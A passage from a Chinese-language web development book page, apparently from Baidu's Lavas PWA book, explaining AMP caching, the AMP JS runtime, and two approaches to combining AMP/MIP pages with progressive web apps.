&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x722C;&#x866B;&#x6293;&#x53D6;&#x3002;</li>\n<li>&#x5F53;&#x5F00;&#x53D1;&#x8005;&#x7F16;&#x5199;&#x7684; AMP HTML &#x9875;&#x9762;&#x88AB; Google &#x641C;&#x7D22;&#x5F15;&#x64CE;&#x722C;&#x866B;&#x6293;&#x53D6;&#xFF0C;&#x9996;&#x5148;&#x901A;&#x8FC7; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>html</span><span class=\"token punctuation\">&gt;</span></span></code> &#x662F;&#x5426;&#x542B;&#x6709; <code>amp</code> &#x5C5E;&#x6027;&#x5224;&#x65AD;&#x662F;&#x5426;&#x662F;&#x4E00;&#x4E2A; AMP &#x9875;&#x9762;&#x3002;</li>\n<li>&#x5982;&#x679C;&#x5224;&#x65AD;&#x7ED3;&#x679C;&#x662F;&#x4E00;&#x4E2A; AMP &#x9875;&#x9762;&#x5C31;&#x4F1A;&#x542F;&#x52A8; AMP Server &#x670D;&#x52A1;&#x3002;</li>\n<li>AMP Server &#x670D;&#x52A1;&#x4F1A;&#x8FD0;&#x884C; AMP Validator &#x6765;&#x6821;&#x9A8C;&#x5F53;&#x524D;&#x7684; HTML &#x9875;&#x9762;&#x662F;&#x5426;&#x5B8C;&#x5168;&#x7B26;&#x5408; AMP HTML &#x7684;&#x89C4;&#x8303;&#xFF0C;&#x5982;&#x679C;&#x6821;&#x9A8C;&#x7B26;&#x5408;&#x89C4;&#x8303;&#xFF0C;&#x5219;&#x88AB;&#x8BA4;&#x5B9A;&#x4E3A;&#x6807;&#x51C6;&#x7684; AMP HTML &#x9875;&#x9762;&#x3002;</li>\n<li>AMP Server &#x4F1A;&#x6293;&#x53D6;&#x8FD9;&#x4E2A; AMP HTML &#x4EE5;&#x53CA; AMP HTML &#x4F9D;&#x8D56;&#x7684;&#x6240;&#x6709;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x3002;</li>\n<li>AMP Server &#x5C06;&#x8FD9;&#x4E9B;&#x9759;&#x6001;&#x9875;&#x9762;&#x548C;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x5168;&#x90E8;&#x5B58;&#x50A8;&#x5728; AMP Cache&#xFF0C;&#x5E76;&#x6539;&#x5199; AMP HTML &#x7684;&#x5F15;&#x7528;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x7684;&#x8DEF;&#x5F84;&#x3002;</li>\n<li>&#x5F53;&#x7528;&#x6237;&#x5728; Google &#x641C;&#x7D22;&#x5F15;&#x64CE;&#x7684;&#x641C;&#x7D22;&#x7ED3;&#x679C;&#x9875;&#x70B9;&#x51FB; AMP &#x7684;&#x7ED3;&#x679C;&#x65F6;&#xFF0C;Google &#x4F1A;&#x5728;&#x641C;&#x7D22;&#x7ED3;&#x679C;&#x9875;&#x521B;&#x5EFA;&#x4E00;&#x4E2A; iframe&#xFF0C;&#x4EE5;&#x5F02;&#x6B65;&#x7684;&#x65B9;&#x5F0F;&#x6253;&#x5F00;&#x5B58;&#x50A8;&#x5728; AMP Cache CDN &#x7684; AMP HTML &#x9875;&#x9762;&#xFF0C;&#x800C;&#x4E14;&#x8BE5;&#x9875;&#x9762;&#x6240;&#x6709;&#x7684;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x5C31;&#x90FD;&#x662F;&#x4ECE; AMP Cache CDN &#x52A0;&#x8F7D;&#x6765;&#x7684;&#x3002;</li>\n</ol>\n<p>&#x4E5F;&#x5C31;&#x662F;&#x8BF4; AMP &#x901A;&#x8FC7;&#x8FD9;&#x79CD; Cache &#x5B58;&#x50A8;&#x5168;&#x90E8;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x7684;&#x65B9;&#x5F0F;&#x5F7B;&#x5E95;&#x7684;&#x4FDD;&#x8BC1;&#x4E86;&#x52A0;&#x8F7D;&#x6027;&#x80FD;&#x3002;&#x540C;&#x65F6; AMP Cache &#x652F;&#x6301; HTTP2 &#x534F;&#x8BAE;&#xFF0C;&#x5E76;&#x4E14;&#x975E;&#x5E38;&#x7A33;&#x5B9A;&#xFF0C;&#x901A;&#x8FC7;&#x8FD9;&#x79CD;&#x96C6;&#x4E2D;&#x5F0F;&#x7684;&#x6781;&#x81F4;&#x6027;&#x80FD;&#x4F18;&#x5316;&#x5C06;&#x52A0;&#x8F7D;&#x901F;&#x5EA6;&#x63D0;&#x5347;&#xFF0C;&#x80FD;&#x591F;&#x6709;&#x6548;&#x4FDD;&#x8BC1;&#x9875;&#x9762;&#x7684;&#x7A33;&#x5B9A;&#x6027;&#x548C;&#x901F;&#x5EA6;&#x3002;</p>\n<h4 id=\"amp-js-&#x8FD0;&#x884C;&#x65F6;\"><a name=\"amp-js-&#x8FD0;&#x884C;&#x65F6;\" class=\"anchor-navigation-ex-anchor\" href=\"#amp-js-&#x8FD0;&#x884C;&#x65F6;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"amp-js-&#x8FD0;&#x884C;&#x65F6;\" class=\"plugin-anchor\" href=\"#amp-js-&#x8FD0;&#x884C;&#x65F6;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>AMP JS &#x8FD0;&#x884C;&#x65F6;</h4>\n<p>AMP JS &#x8FD0;&#x884C;&#x65F6;&#x6307;&#x7684;&#x662F; <code>https://cdn.ampproject.org/v0.js</code>&#xFF0C;&#x4E5F;&#x7ECF;&#x5E38;&#x88AB;&#x79F0;&#x4E4B;&#x4E3A; <code>amp.js</code>&#xFF0C;<code>amp.js</code> &#x540C;&#x6837;&#x4E5F;&#x662F;&#x90E8;&#x7F72;&#x5728; AMP Cache CDN &#x4E0A;&#x7684;&#xFF0C;AMP &#x5C01;&#x88C5;&#x4E86;&#x4E00;&#x7CFB;&#x5217;&#x7684; AMP &#x81EA;&#x5B9A;&#x4E49;&#x6807;&#x7B7E;&#xFF0C;&#x8FD9;&#x4E9B;&#x81EA;&#x5B9A;&#x4E49;&#x6807;&#x7B7E;&#x65E2;&#x63D0;&#x4F9B;&#x4E86;&#x5B8C;&#x5584;&#x7684;&#x529F;&#x80FD;&#xFF0C;&#x53C8;&#x5145;&#x5206;&#x7684;&#x89C4;&#x907F;&#x4E86;&#x6027;&#x80FD;&#x95EE;&#x9898;&#xFF0C;&#x5728;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#x4E0A;&#x4E0B;&#x8DB3;&#x4E86;&#x529F;&#x592B;&#xFF0C;&#x800C;&#x8FD9;&#x4E9B; AMP &#x81EA;&#x5B9A;&#x4E49;&#x6807;&#x7B7E;&#x4E5F;&#x9700;&#x8981;&#x4F9D;&#x8D56;&#x4E8E; <code>amp.js</code> &#x624D;&#x80FD;&#x6B63;&#x5E38;&#x6267;&#x884C;&#x3002;</p>\n<p>AMP JS &#x8FD0;&#x884C;&#x65F6;&#x5B9E;&#x73B0;&#x4E86;&#x6240;&#x6709; AMP <strong>&#x6700;&#x4F73;&#x6027;&#x80FD;&#x539F;&#x5219;</strong>&#xFF08;<a href=\"https://www.ampproject.org/learn/about-how\" target=\"_blank\">https://www.ampproject.org/learn/about-how</a>)&#xFF0C;AMP JS &#x8FD0;&#x884C;&#x65F6;&#x8FD8;&#x63D0;&#x4F9B;&#x4E86;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;&#x7684;&#x7BA1;&#x7406;&#x673A;&#x5236;&#xFF0C;&#x786E;&#x4FDD;&#x9875;&#x9762;&#x80FD;&#x591F;&#x5FEB;&#x901F;&#x6E32;&#x67D3;&#xFF0C;&#x5E76;&#x5F02;&#x6B65;&#x52A0;&#x8F7D;&#x6240;&#x6709;&#x8D44;&#x6E90;&#xFF0C;&#x5F53;&#x7136; AMP JS &#x8FD0;&#x884C;&#x65F6;&#x4E0D;&#x4EC5;&#x786E;&#x4FDD;&#x6240;&#x6709;&#x7684;&#x8D44;&#x6E90;&#x80FD;&#x591F;&#x5F02;&#x6B65;&#x52A0;&#x8F7D;&#xFF0C;&#x800C;&#x4E14;&#x8FD8;&#x80FD;&#x591F;&#x5728;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;&#x4E4B;&#x524D;&#x9884;&#x5148;&#x8BA1;&#x7B97;&#x6BCF;&#x4E2A;&#x5143;&#x7D20;&#x7684;&#x5E03;&#x5C40;&#xFF0C;&#x52A0;&#x5FEB;&#x9996;&#x5C4F;&#x5C55;&#x73B0;&#x7684;&#x901F;&#x5EA6;&#x3002;&#x5F53;&#x7136; AMP JS &#x8FD0;&#x884C;&#x65F6;&#x63D0;&#x4F9B;&#x7684;&#x529F;&#x80FD;&#x8FDC;&#x6BD4;&#x8FD9;&#x4E9B;&#x590D;&#x6742;&#x7684;&#x591A;&#xFF0C;AMP &#x53EF;&#x67E5;&#x9605;&#x7684;&#x8D44;&#x6599;&#x8F83;&#x591A;&#xFF0C;&#x5728;&#x672C;&#x7AE0;&#x5C31;&#x4E0D;&#x505A;&#x6DF1;&#x5165;&#x7684;&#x8BB2;&#x89E3;&#x3002;</p>\n<h3 id=\"pwa-&#x7ED3;&#x5408;-ampmip\"><a name=\"pwa-&#x7ED3;&#x5408;-ampmip\" class=\"anchor-navigation-ex-anchor\" href=\"#pwa-&#x7ED3;&#x5408;-ampmip\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"pwa-&#x7ED3;&#x5408;-ampmip\" class=\"plugin-anchor\" href=\"#pwa-&#x7ED3;&#x5408;-ampmip\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>PWA &#x7ED3;&#x5408; AMP/MIP</h3>\n<p>&#x4E86;&#x89E3;&#x4E86; AMP &#x548C; MIP &#x7684;&#x57FA;&#x672C;&#x539F;&#x7406;&#x540E;&#xFF0C;&#x6211;&#x4EEC;&#x5DF2;&#x7ECF;&#x77E5;&#x9053;&#x4E86;&#x5728;&#x79FB;&#x52A8;&#x7AEF; AMP/MIP &#x662F;&#x4E00;&#x79CD;&#x884C;&#x4E4B;&#x6709;&#x6548;&#x7684;&#x63D0;&#x5347;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x641C;&#x7D22;&#x7ED3;&#x679C;&#x843D;&#x5730;&#x9875;&#x6027;&#x80FD;&#x7684;&#x65B9;&#x6848;&#x3002;&#x4F46;&#x4E0E;&#x6B64;&#x540C;&#x65F6;&#xFF0C;&#x6211;&#x4EEC;&#x4E5F;&#x770B;&#x5230;&#x4E86; AMP/MIP &#x7684;&#x8BF8;&#x591A;&#x5C40;&#x9650;&#x6027;&#xFF0C;&#x5728;&#x89C4;&#x8303;&#x4E0A;&#x9650;&#x5236;&#x5F88;&#x591A;&#xFF0C;&#x4E0D;&#x80FD;&#x7F16;&#x5199; JavaScript &#x4EE3;&#x7801;&#xFF0C;&#x8FD9;&#x6837;&#x5BF9;&#x4E8E;&#x8981;&#x5B9E;&#x73B0;&#x4E00;&#x4E2A;&#x590D;&#x6742;&#x4EA4;&#x4E92;&#x7684; Web App &#x6765;&#x8BF4;&#xFF0C;&#x65E0;&#x7591;&#x662F;&#x589E;&#x52A0;&#x4E86;&#x5F00;&#x53D1;&#x548C;&#x7EF4;&#x62A4;&#x6210;&#x672C;&#xFF0C;&#x751A;&#x81F3;&#x53EF;&#x80FD;&#x7531;&#x4E8E; AMP &#x81EA;&#x5B9A;&#x4E49;&#x6807;&#x7B7E;&#x7684;&#x529F;&#x80FD;&#x652F;&#x6301;&#x4E0D;&#x8DB3;&#x4EE5;&#x6EE1;&#x8DB3;&#x4E1A;&#x52A1;&#x9700;&#x6C42;&#x65F6;&#xFF0C;&#x4F1A;&#x663E;&#x5F97;&#x675F;&#x624B;&#x65E0;&#x7B56;&#x3002;</p>\n<p>&#x56E0;&#x6B64; Google &#x4E5F;&#x7ED9;&#x51FA;&#x4E86;&#x4E00;&#x4E9B;&#x5EFA;&#x8BAE;&#xFF0C;&#x4ED6;&#x4EEC;&#x5EFA;&#x8BAE;&#x8D44;&#x8BAF;&#x7C7B;&#x7684; Web App &#x6216;&#x4EA4;&#x4E92;&#x8F83;&#x5C11;&#x7684; Web App &#x9002;&#x5408;&#x7528; AMP &#x6765;&#x7F16;&#x5199;&#xFF0C;&#x5982;&#x65B0;&#x95FB;&#x3001;&#x535A;&#x5BA2;&#x3001;&#x76F8;&#x518C;&#x7B49;&#x5E94;&#x7528;&#x3002;&#x800C;&#x901A;&#x8FC7;&#x524D;&#x9762;&#x7AE0;&#x8282;&#x5BF9; PWA &#x7684;&#x4E86;&#x89E3;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x77E5;&#x9053; PWA &#x5F80;&#x5F80;&#x6BD4;&#x8F83;&#x590D;&#x6742;&#xFF0C;&#x80FD;&#x591F;&#x652F;&#x6491;&#x590D;&#x6742;&#x7684;&#x4EA4;&#x4E92;&#x548C;&#x590D;&#x6742;&#x7684;&#x4E1A;&#x52A1;&#x903B;&#x8F91;&#x3002;&#x57FA;&#x4E8E;&#x8FD9;&#x4E9B;&#x80CC;&#x666F;&#xFF0C;&#x6211;&#x4EEC;&#x9700;&#x8981;&#x63A2;&#x7D22;&#x51FA;&#x4E00;&#x6761;&#x8DEF;&#xFF0C;&#x8BA9;&#x7528;&#x6237;&#x4ECE;&#x641C;&#x7D22;&#x7ED3;&#x679C;&#x9875;&#x5230;&#x843D;&#x5730;&#x9875;&#x7AD9;&#x70B9;&#x90FD;&#x5177;&#x6709;&#x6BD4;&#x8F83;&#x5B8C;&#x7F8E;&#x7684;&#x4F53;&#x9A8C;&#x3002;&#x8FD9;&#x5C31;&#x9700;&#x8981;&#x8003;&#x8651;&#x5C06; AMP/MIP &#x548C; PWA &#x8FDB;&#x884C;&#x7ED3;&#x5408;&#x4E00;&#x4E0B;&#x3002;&#x7ECF;&#x8FC7;&#x4E00;&#x4E9B;&#x5B9E;&#x9645;&#x9879;&#x76EE;&#x7684;&#x63A2;&#x7D22;&#xFF0C;&#x76EE;&#x524D;&#x6BD4;&#x8F83;&#x5408;&#x9002;&#x7684;&#x65B9;&#x6848;&#x6709;&#x4E24;&#x79CD;&#x3002;</p>\n<p>&#x7B2C;&#x4E00;&#x79CD;&#x65B9;&#x6848;&#x662F;&#x5C06;&#x6574;&#x4E2A;&#x7AD9;&#x70B9;&#x90FD;&#x7528; AMP &#x65B9;&#x5F0F;&#x6765;&#x7F16;&#x5199;&#xFF0C;&#x4E5F;&#x53EF;&#x4EE5;&#x79F0;&#x4E4B;&#x4E3A;<strong>&#x5168;&#x7AD9; AMP</strong>&#xFF0C;&#x5728; AMP &#x9875;&#x9762;&#x7684;&#x57FA;&#x7840;&#x4E0A;&#x518D;&#x589E;&#x52A0; Web App Manifest &#x548C; Service Worker &#x7684;&#x652F;&#x6301;&#xFF0C;&#x5C31;&#x80FD;&#x591F;&#x5B9E;&#x73B0;&#x4E00;&#x4E2A; AMP + PWA &#x6A21;&#x5F0F;&#x7684;&#x7AD9;&#x70B9;&#x4E86;&#x3002;&#x8FD9;&#x79CD;&#x65B9;&#x6848;&#x7684;&#x597D;&#x5904;&#x7531;&#x4E8E;&#x641C;&#x7D22;&#x843D;&#x5730;&#x9875;&#x8FD8;&#x662F; AMP &#x9875;&#x9762;&#xFF0C;&#x6240;&#x4EE5;&#x4ECE;&#x641C;&#x7D22;&#x7ED3;&#x679C;&#x9875;&#x8DF3;&#x8F6C;&#x7684;&#x843D;&#x5730;&#x9875;&#x4F53;&#x9A8C;&#x4F1A;&#x975E;&#x5E38;&#x597D;&#xFF0C;&#x5F53;&#x843D;&#x5730;&#x9875;&#x6253;&#x5F00;&#x4E4B;&#x540E;&#xFF0C;&#x540E;&#x9762;&#x518D;&#x8FDB;&#x884C;&#x4EA4;&#x4E92;&#xFF0C;&#x7531;&#x4E8E;&#x96C6;&#x6210;&#x4E86; Web App Manifest &#x548C; Service Worker&#xFF0C;&#x641C;&#x7D22;&#x843D;&#x5730;&#x9875;&#x4E5F;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x5177;&#x6709;&#x6DFB;&#x52A0;&#x5230;&#x684C;&#x9762;&#x548C;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x7684;&#x529F;&#x80FD;&#x3002;&#x4F46;&#x662F;&#x8FD9;&#x79CD;&#x65B9;&#x6848;&#x5C40;&#x9650;&#x4E8E; AMP &#x4E0D;&#x80FD;&#x591F;&#x652F;&#x6301;&#x590D;&#x6742;&#x7684;&#x7AD9;&#x70B9;&#xFF0C;&#x5BFC;&#x81F4;&#x4E0D;&#x592A;&#x9002;&#x5408;&#x505A;&#x590D;&#x6742;&#x4EA4;&#x4E92;&#x7684; Web App&#x3002;</p>\n<p>&#x7B2C;&#x4E8C;&#x79CD;&#x65B9;&#x6848;&#x5C31;&#x662F;&#x5C06; AMP/MIP &#x9875;&#x9762;&#x4F5C;&#x4E3A;&#x4E2D;&#x95F4;&#x9875;&#x9762;&#xFF0C;&#x4E5F;&#x53EF;&#x4EE5;&#x79F0;&#x4E4B;&#x4E3A;<strong>&#x5728; AMP &#x4E2D;&#x9884;&#x52A0;&#x8F7D; PWA</strong>&#xFF0C;&#x53EF;&#x4EE5;&#x5C06; AMP &#x9875;&#x9762;&#x7684; HTML &#x4E2D;&#x7684; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>canonical<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x7684; <code>href</code> &#x6307;&#x5411; PWA &#x7AD9;&#x70B9; URL&#xFF0C;&#x5E76;&#x4E14;&#x7C7B;&#x4F3C;&#x4E8E; SSR &#x7684;&#x65B9;&#x5F0F;&#x63D0;&#x4F9B;&#x4E00;&#x4EFD; AMP &#x7684;&#x9875;&#x9762;&#x5185;&#x5BB9;&#x4EE5;&#x4F9B;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x6293;&#x53D6;&#xFF0C;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token comment\">&lt;!--...--&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>canonical<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>https://pwa.host/some/path<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token comment\">&lt;!--...--&gt;</span>\n</code></pre>\n<p>&#x5728;&#x641C;&#x7D22;&#x7ED3;&#x679C;&#x9875;&#x70B9;&#x51FB; AMP &#x7ED3;&#x679C;&#x8FDB;&#x5165;&#x641C;&#x7D22;&#x843D;&#x5730; AMP &#x9875;&#x540E;&#xFF0C;&#x70B9;&#x51FB; AMP &#x9875;&#x9762;&#x91CC;&#x7684;&#x94FE;&#x63A5;&#x518D;&#x8DF3;&#x8F6C;&#x5230; PWA &#x76F8;&#x5E94;&#x7684;&#x9875;&#x9762;&#xFF0C;&#x8FD9;&#x6837;&#x8BBE;&#x8BA1;&#x7684;&#x7684;&#x597D;&#x5904;&#x662F;&#x5728;&#x641C;&#x7D22;&#x7ED3;&#x679C;&#x9875;&#x70B9;&#x51FA;&#x7684;&#x4F53;&#x9A8C;&#x975E;&#x5E38;&#x826F;&#x597D;&#xFF0C;&#x5E76;&#x4E14;&#x53C8;&#x80FD;&#x5B9E;&#x73B0;&#x590D;&#x6742;&#x4EA4;&#x4E92;&#x7684; PWA&#x3002;</p>\n<p>&#x9664;&#x6B64;&#x4E4B;&#x5916;&#xFF0C;AMP &#x8FD8;&#x63D0;&#x4F9B;&#x4E86; PWA &#x5185;&#x5D4C; AMP &#x9875;&#x9762;&#x7684;&#x80FD;&#x529B;&#xFF0C;&#x53EF;&#x4EE5;&#x5C06; AMP &#x9875;&#x9762;&#x4F5C;&#x4E3A; PWA &#x7684;&#x6570;&#x636E;&#x6E90;&#xFF0C;&#x8BE6;&#x7EC6;&#x7684;&#x53EF;&#x4EE5;&#x53C2;&#x8003; &#x300A;Embed &amp; use AMP as a data source&#x300B;<a href=\"https://www.ampproject.org/docs/integration/pwa-amp/amp-in-pwa\" target=\"_blank\">https://www.ampproject.org/docs/integration/pwa-amp/amp-in-pwa</a>&#xFF0C;&#x7BC7;&#x5E45;&#x6709;&#x9650;&#xFF0C;&#x672C;&#x7AE0;&#x5C06;&#x4E0D;&#x4F1A;&#x5BF9;&#x8FD9;&#x79CD;&#x65B9;&#x6CD5;&#x8FDB;&#x884C;&#x6DF1;&#x5165;&#x8BB2;&#x89E3;&#x3002;&#x672C;&#x7AE0;&#x63A5;&#x4E0B;&#x6765;&#x7684;&#x5185;&#x5BB9;&#x5C06;&#x91CD;&#x70B9;&#x4ECB;&#x7ECD;&#x524D;&#x9762;&#x63D0;&#x5230;&#x7684;&#x4E24;&#x79CD;&#x65B9;&#x6848;&#xFF0C;&#x5C06;&#x4F1A;&#x6DF1;&#x5165;&#x7684;&#x4ECB;&#x7ECD;&#x5177;&#x4F53;&#x505A;&#x6CD5;&#x4EE5;&#x53CA;&#x9047;&#x5230;&#x7684;&#x4E00;&#x4E9B;&#x95EE;&#x9898;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"1-search-engine-index.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 9.1 搜索引擎收录\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"3-whole-site-amp-and-mip.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 9.3 全站 AMP/MIP\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"9.2 PWA 与 AMP/MIP\",\"level\":\"1.10.2\",\"depth\":2,\"next\":{\"title\":\"9.3 全站 AMP/MIP\",\"level\":\"1.10.3\",\"depth\":2,\"path\":\"chapter09/3-whole-site-amp-and-mip.md\",\"ref\":\"chapter09/3-whole-site-amp-and-mip.md\",\"articles\":[]},\"previous\":{\"title\":\"9.1 搜索引擎收录\",\"level\":\"1.10.1\",\"depth\":2,\"path\":\"chapter09/1-search-engine-index.md\",\"ref\":\"chapter09/1-search-engine-index.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas 